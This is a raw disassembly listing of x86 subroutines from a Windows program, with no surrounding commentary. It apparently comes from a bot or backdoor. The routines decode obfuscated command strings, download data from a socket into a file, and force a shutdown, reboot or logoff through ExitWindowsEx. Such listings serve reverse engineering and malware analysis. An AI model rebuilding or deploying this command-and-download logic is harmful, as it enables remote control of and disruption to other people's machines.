		mov	large fs:0, esp
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F80
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jz	loc_13C8348
		lea	ebx, [esi+65h]
		push	offset byte_446F80
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jz	loc_13C8348
		lea	ecx, [esi+26h]
		push	offset byte_446F80
		call	sub_13AB6EE
		test	eax, eax
		jz	loc_13C8348
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_13C7CE1
		push	offset byte_446F80
		lea	ecx, [esi+3Bh]
		call	sub_13AB6EE
		test	eax, eax
		jz	short loc_13C7CD4
		push	offset byte_446F80
		lea	ecx, [esi+50h]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13C7CE1


loc_13C7CD4:				; CODE XREF: sub_13C7C40+81j
		mov	[esp+30h+var_1C], esi
		lea	eax, [esp+30h+var_1C]
		jmp	loc_13C8350
; ---------------------------------------------------------------------------


loc_13C7CE1:				; CODE XREF: sub_13C7C40+70j
					; sub_13C7C40+92j
		push	offset dword_443CA4
		lea	ecx, [esp+2Ch+var_C]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+38h+arg_1138], 0
		call	sub_13AB6EE
		lea	ecx, [esp+38h+var_1C]
		mov	ebp, eax
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_13AB626
		test	ebp, ebp
		jz	short loc_13C7D6E
		push	offset dword_443CA4
		lea	edx, [esp+3Ch+var_1C]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+44h+arg_1128], 1
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+44h+var_28]
		mov	ebp, eax
		mov	[esp+44h+arg_1128], 0FFFFFFFFh
		call	sub_13AB626
		test	ebp, ebp
		jnz	short loc_13C7D7F


loc_13C7D6E:				; CODE XREF: sub_13C7C40+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_13C7D7F:				; CODE XREF: sub_13C7C40+12Cj
		push	offset dword_443CA4
		lea	ecx, [esp+48h+var_10]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_13ABAAE
		lea	edx, [esp+50h+var_1C]
		mov	ecx, edi
		push	edx
		mov	[esp+54h+arg_111C], 2
		call	sub_13AC3BE
		lea	eax, [esp+54h+arg_C]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		call	ExpandEnvironmentStringsA	; ExpandEnvironmentStringsA
		lea	ecx, [esp+60h+arg_0]
		push	ecx
		mov	ecx, ebx
		call	sub_13AB9D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_13C7F14
		call	sub_13AC206
		lea	edx, [esp+64h+var_50]
		mov	ecx, edi
		push	edx
		call	sub_13ABBE4
		push	eax
		call	sub_13ABE69
		add	esp, 8
		test	eax, eax
		jnz	short loc_13C7E2C
		lea	ecx, [esi+7Ah]
		call	sub_13ABA81
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset dword_443FDC
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		mov	[esp+74h+var_64], esi
		lea	edx, [esp+74h+var_64]
		jmp	loc_13C8327
; ---------------------------------------------------------------------------


loc_13C7E2C:				; CODE XREF: sub_13C7C40+1B7j
		mov	eax, [esp+64h+var_50]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_13ABBE4
		push	eax
		call	sub_13AC643
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_13C7E83
		lea	ecx, [esi+7Ah]
		call	sub_13ABA81
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset dword_443FCC
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	eax, [esp+74h+var_64]
		mov	[esp+74h+var_64], esi
		push	eax
		jmp	loc_13C8328
; ---------------------------------------------------------------------------


loc_13C7E83:				; CODE XREF: sub_13C7C40+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_13ABA81
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset dword_443FBC
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		mov	eax, [esp+74h+var_60]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		call	sub_13ABAA9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_13C7F02
		mov	ecx, edi
		call	sub_13ABA81
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset dword_443FAC
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	eax, [esp+84h+var_74]
		mov	[esp+84h+var_74], esi
		push	eax
		jmp	loc_13C8328
; ---------------------------------------------------------------------------


loc_13C7F02:				; CODE XREF: sub_13C7C40+28Dj
		mov	ecx, [esp+74h+var_60]
		push	ecx
		call	sub_13AC152
		add	esp, 4
		jmp	loc_13C818B
; ---------------------------------------------------------------------------


loc_13C7F14:				; CODE XREF: sub_13C7C40+195j
		lea	ecx, [esp+64h+var_18]
		call	sub_13AB824
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+arg_1108], 3
		call	sub_13AB824
		push	ebp
		mov	ecx, edi
		mov	[esp+68h+arg_1108], 4
		call	sub_13ABBE4
		push	eax
		call	sub_13ABE8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+64h+var_50], ebx
		jnz	short loc_13C7F97
		lea	ecx, [esi+7Ah]
		call	sub_13ABA81
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset dword_443F98
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+74h+var_64]
		mov	[esp+74h+var_64], esi
		push	ecx
		mov	ecx, offset byte_E2AAEB
		call	sub_13AB60D
		push	ebx
		call	closesocket	; closesocket
		jmp	loc_13C8055
; ---------------------------------------------------------------------------


loc_13C7F97:				; CODE XREF: sub_13C7C40+310j
		push	ebp
		mov	ecx, edi
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_13ABBE4
		push	eax
		lea	edx, [esp+70h+var_18]
		push	offset dword_443F34
		push	edx
		call	sub_13AB42D
		add	esp, 14h
		lea	ecx, [esp+64h+var_18]
		push	0
		call	sub_13AB7D9
		push	eax
		lea	ecx, [esp+6Ch+var_18]
		call	sub_13ABBE4
		push	eax
		push	ebx
		call	send	; send
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_13ABA81
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset dword_443F24
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		push	offset dword_443F20
		lea	ecx, [esi+65h]
		call	sub_13ABBE4
		push	eax
		call	fopen	; fopen
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_13C8090
		mov	ecx, edi
		call	sub_13ABA81
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset dword_443F10
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_84], esi
		push	ecx
		mov	ecx, offset byte_E2AAEB
		call	sub_13AB60D


loc_13C8055:				; CODE XREF: sub_13C7C40+352j
		lea	ecx, [esp+98h+var_7C]
		mov	byte ptr [esp+98h+arg_10D4], 3
		call	sub_13AB626
		lea	ecx, [esp+98h+var_4C]
		mov	byte ptr [esp+98h+arg_10D4], 2
		call	sub_13AB626
		lea	ecx, [esp+98h+var_64]
		mov	[esp+98h+arg_10D4], 0FFFFFFFFh
		call	sub_13AB626
		jmp	loc_13C835B
; ---------------------------------------------------------------------------


loc_13C8090:				; CODE XREF: sub_13C7C40+3DBj
					; sub_13C7C40+484j ...
		mov	eax, [esp+84h+var_70]
		push	0
		lea	edx, [esp+88h+arg_E0]
		push	1000h
		push	edx
		push	eax
		call	recv	; recv
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_13C8108
		cmp	ebp, 1000h
		jge	short loc_13C80C0
		mov	[esp+ebp+94h+arg_D0], 0


loc_13C80C0:				; CODE XREF: sub_13C7C40+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_13C8090


loc_13C80C6:				; CODE XREF: sub_13C7C40+4A5j
		push	4
		lea	ecx, [esp+edi+98h+arg_D0]
		push	offset dword_443F08
		push	ecx
		call	strncmp	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_13C80E9
		inc	edi
		cmp	edi, ebp
		jl	short loc_13C80C6
		jmp	short loc_13C8090
; ---------------------------------------------------------------------------


loc_13C80E9:				; CODE XREF: sub_13C7C40+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_13C8108


loc_13C80F0:				; CODE XREF: sub_13C7C40+4C6j
		movsx	edx, [esp+edi+94h+arg_D0]
		push	ebx
		push	edx
		call	fputc	; fputc
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_13C80F0


loc_13C8108:				; CODE XREF: sub_13C7C40+46Ej
					; sub_13C7C40+4AEj ...
		mov	edi, [esp+94h+var_80]
		push	0
		lea	eax, [esp+98h+arg_D0]
		push	1000h
		push	eax
		push	edi
		call	recv	; recv
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_13C8158
		cmp	ebp, 1000h
		jge	short loc_13C8138
		mov	[esp+ebp+0A4h+arg_C0], 0


loc_13C8138:				; CODE XREF: sub_13C7C40+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_13C8108


loc_13C813E:				; CODE XREF: sub_13C7C40+514j
		movsx	ecx, [esp+edi+0A4h+arg_C0]
		push	ebx
		push	ecx
		call	fputc	; fputc
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_13C813E
		jmp	short loc_13C8108
; ---------------------------------------------------------------------------


loc_13C8158:				; CODE XREF: sub_13C7C40+4E6j
		push	ebx
		call	fclose	; fclose
		add	esp, 4
		push	edi
		call	closesocket	; closesocket
		lea	ecx, [esp+0A8h+var_8C]
		mov	[esp+0A8h+arg_10C4], 3
		call	sub_13AB626
		lea	ecx, [esp+0A8h+var_5C]
		mov	[esp+0A8h+arg_10C4], 2
		call	sub_13AB626


loc_13C818B:				; CODE XREF: sub_13C7C40+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_13C8227
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_13ABBE4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset dword_443EF4
		mov	ecx, edi
		call	sub_13ABA81
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_13C831F
		push	offset byte_446F80
		mov	ecx, ebp
		call	sub_13ABBE4
		push	eax
		call	sub_13AB699
		add	esp, 8
		mov	ecx, ebp
		call	sub_13ABBE4
		push	eax
		push	offset dword_443EE8
		mov	ecx, edi
		call	sub_13ABA81
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h
		jmp	loc_13C831F
; ---------------------------------------------------------------------------


loc_13C8227:				; CODE XREF: sub_13C7C40+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_13ABBE4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset dword_443ED4
		mov	ecx, edi
		call	sub_13ABA81
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h
		lea	edx, [esp+0A8h+var_8C]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_13ABDB5
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+0A8h+arg_10C4], 5
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB8D3
		push	eax
		call	sub_13AC549
		add	esp, 8
		lea	ecx, [esp+0A8h+var_8C]
		mov	bl, al
		mov	[esp+0A8h+arg_10C4], 2
		call	sub_13AB626
		test	bl, bl
		jz	short loc_13C82FA
		mov	al, ds:byte_4478E6
		test	al, al
		jz	short loc_13C82C9
		push	offset dword_447884
		mov	ecx, offset dword_448DC0
		call	sub_13AB847


loc_13C82C9:				; CODE XREF: sub_13C7C40+678j
		mov	al, ds:byte_44792F
		test	al, al
		jz	short loc_13C82E1
		push	offset byte_44795F
		mov	ecx, offset dword_448DC0
		call	sub_13ABD42


loc_13C82E1:				; CODE XREF: sub_13C7C40+690j
		mov	ecx, offset dword_448DC0
		call	sub_13AC25B
		push	1
		mov	ds:byte_E2AA94,	0
		call	exit	; exit


loc_13C82FA:				; CODE XREF: sub_13C7C40+66Fj
		mov	ecx, edi
		call	sub_13AB8D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset dword_4436FC
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518


loc_13C831F:				; CODE XREF: sub_13C7C40+597j
					; sub_13C7C40+5E2j
		mov	[esp+0C4h+var_AC], esi
		lea	edx, [esp+0C4h+var_AC]


loc_13C8327:				; CODE XREF: sub_13C7C40+1E7j
		push	edx


loc_13C8328:				; CODE XREF: sub_13C7C40+23Ej
					; sub_13C7C40+2BDj
		mov	ecx, offset byte_E2AAEB
		call	sub_13AB60D
		lea	ecx, [esp+0C8h+var_94]
		mov	[esp+0C8h+arg_10A4], 0FFFFFFFFh
		call	sub_13AB626
		jmp	short loc_13C835B
; ---------------------------------------------------------------------------


loc_13C8348:				; CODE XREF: sub_13C7C40+36j
					; sub_13C7C40+4Dj ...
		mov	[esp+20h+var_10], esi
		lea	eax, [esp+20h+var_10]


loc_13C8350:				; CODE XREF: sub_13C7C40+9Cj
		push	eax
		mov	ecx, offset byte_E2AAEB
		call	sub_13AB60D


loc_13C835B:				; CODE XREF: sub_13C7C40+44Bj
					; sub_13C7C40+706j
		mov	ecx, [esp+24h+arg_1140]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
sub_13C7C40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C8550	proc near		; CODE XREF: sub_13ABF90j

var_54		= byte ptr -54h
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B148h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+4Ch+var_48]
		mov	[esp+4Ch+var_10], 0FFFFFFFFh
		call	sub_13AB626
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+78h+var_48]
		push	10h
		push	edx
		call	sub_13ABDB5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	[esp+50h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+58h+var_54]
		mov	[esp+58h+var_1C], 0FFFFFFFFh
		call	sub_13AB626
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+7Ch+var_3C]
		push	10h
		push	ecx
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+5Ch+var_1C], 2
		call	sub_13ABBE4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_28], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+64h+var_30]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13C8550	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C86D0	proc near		; CODE XREF: sub_13AB4B4j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13C872B
		push	offset dword_44400C
		lea	ecx, [edi+69h]
		call	sub_13ABA81
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 14h
		push	0
		push	6
		call	ExitWindowsEx	; ExitWindowsEx
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_13C872B:				; CODE XREF: sub_13C86D0+1Ej
		lea	ecx, [esi+32h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13C877A
		push	offset dword_444000
		lea	ecx, [edi+69h]
		call	sub_13ABA81
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 14h
		push	0
		push	5
		call	ExitWindowsEx	; ExitWindowsEx
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_13C877A:				; CODE XREF: sub_13C86D0+6Dj
		lea	ecx, [esi+60h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13C87C1
		push	offset dword_443FF0
		lea	ecx, [edi+69h]
		call	sub_13ABA81
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 14h
		push	0
		push	4
		call	ExitWindowsEx	; ExitWindowsEx


loc_13C87C1:				; CODE XREF: sub_13C86D0+BCj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
sub_13C86D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C8810	proc near		; CODE XREF: sub_13AC35Fj

var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_54		= byte ptr -54h
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B188h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_13ABDB5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+50h+var_48]
		mov	[esp+50h+var_10], edi
		call	sub_13AB626
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+78h+var_48]
		push	10h
		push	edx
		call	sub_13ABDB5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+54h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+5Ch+var_54]
		mov	[esp+5Ch+var_1C], edi
		call	sub_13AB626
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+90h+var_54]
		push	10h
		push	ecx
		call	sub_13ABDB5
		add	esp, 3Ch
		mov	[esp+5Ch+var_1C], 2
		push	esi
		mov	ecx, eax
		call	sub_13ABBE4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+68h+var_60]
		mov	[esp+68h+var_28], edi
		call	sub_13AB626
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+9Ch+var_60]
		push	10h
		push	eax
		call	sub_13ABDB5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	[esp+6Ch+var_28], 3
		call	sub_13ABBE4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+74h+var_6C]
		mov	[esp+74h+var_34], edi
		call	sub_13AB626
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+0A8h+var_54]
		push	10h
		push	edx
		call	sub_13ABDB5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	[esp+78h+var_34], 4
		call	sub_13ABBE4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+80h+var_60]
		mov	[esp+80h+var_40], edi
		call	sub_13AB626
		mov	ecx, [esp+80h+var_48]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13C8810	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C8A70	proc near		; CODE XREF: sub_13ABA13j

var_84		= byte ptr -84h
var_80		= byte ptr -80h
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_44		= byte ptr -44h
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43B200h
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C8C0A
		lea	eax, [esp+64h]
		lea	ecx, [esp+64h+var_4C]
		push	eax
		call	sub_13ABCD9
		lea	ecx, [esp+68h+var_50]
		mov	[esp+68h+var_C], 0
		push	ecx
		call	sub_13AB5D6
		add	esp, 4
		test	al, al
		jz	loc_13C8BF2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+94h+var_44]
		push	79h
		push	edx
		call	sub_13ABDB5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+68h+var_C], 1
		mov	ecx, ebx
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13ABA81
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		lea	ecx, [esp+78h+var_54]
		mov	byte ptr [esp+78h+var_1C], 0
		call	sub_13AB626
		lea	ecx, [esp+78h+var_68]
		call	sub_13ABB03
		lea	edx, [esp+78h+var_64]
		lea	ecx, [esp+78h+var_60]
		push	edx
		xor	edi, edi
		call	sub_13AB8D8
		mov	eax, [eax]
		lea	ecx, [esp+7Ch+var_68]
		push	ecx
		lea	ecx, [esp+80h+var_64]
		mov	[esp+80h+var_6C], eax
		call	sub_13ABD6F
		push	eax
		lea	ecx, [esp+84h+var_70]
		call	sub_13ABC02
		test	al, al
		jz	short loc_13C8BF2
		mov	ebp, Sleep


loc_13C8B7E:				; CODE XREF: sub_13C8A70+180j
		lea	ecx, [esp+84h+var_74]
		inc	edi
		call	sub_13AB62B
		mov	ecx, eax
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+88h+var_74]
		call	sub_13AB62B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset dword_444044
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 20h
		push	5DCh
		call	ebp ; Sleep
		lea	ecx, [esp+88h+var_78]
		call	sub_13AB47D
		lea	edx, [esp+88h+var_74]
		lea	ecx, [esp+88h+var_70]
		push	edx
		call	sub_13ABD6F
		push	eax
		lea	ecx, [esp+90h+var_7C]
		call	sub_13ABC02
		test	al, al
		jnz	short loc_13C8B7E


loc_13C8BF2:				; CODE XREF: sub_13C8A70+62j
					; sub_13C8A70+106j
		lea	ecx, [esp+90h+var_78]
		mov	[esp+90h+var_34], 0FFFFFFFFh
		call	sub_13ABC16
		mov	al, 1
		jmp	loc_13C9027
; ---------------------------------------------------------------------------


loc_13C8C0A:				; CODE XREF: sub_13C8A70+37j
		lea	ecx, [edi+32h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C8CFE
		push	offset dword_443600
		lea	eax, [esp+6Ch+var_44]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		push	offset byte_446F80
		mov	ecx, eax
		mov	[esp+78h+var_18], 2
		call	sub_13AB6EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+78h+var_54]
		mov	[esp+78h+var_1C], edi
		call	sub_13AB626
		test	bl, bl
		jnz	loc_13C9025
		push	offset dword_443600
		lea	ecx, [esp+7Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+84h+var_28], 3
		call	sub_13ABBE4
		push	eax
		call	sub_13AB9FA
		add	esp, 4
		lea	ecx, [esp+84h+var_60]
		mov	[esp+84h+var_28], edi
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+88h+var_60]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+90h+var_34], 4
		call	sub_13AB8D3
		push	eax
		push	offset dword_44403C
		lea	ecx, [esi+69h]
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h
		lea	ecx, [esp+90h+var_6C]
		mov	[esp+90h+var_34], edi
		call	sub_13AB626
		mov	al, 1
		jmp	loc_13C9027
; ---------------------------------------------------------------------------


loc_13C8CFE:				; CODE XREF: sub_13C8A70+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebx
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13C8E65
		lea	edx, [esp+6Ch+var_8]
		lea	ecx, [esp+6Ch+var_54]
		push	edx
		call	sub_13ABAE0
		lea	eax, [esp+70h+var_58]
		mov	ebx, 5
		push	eax
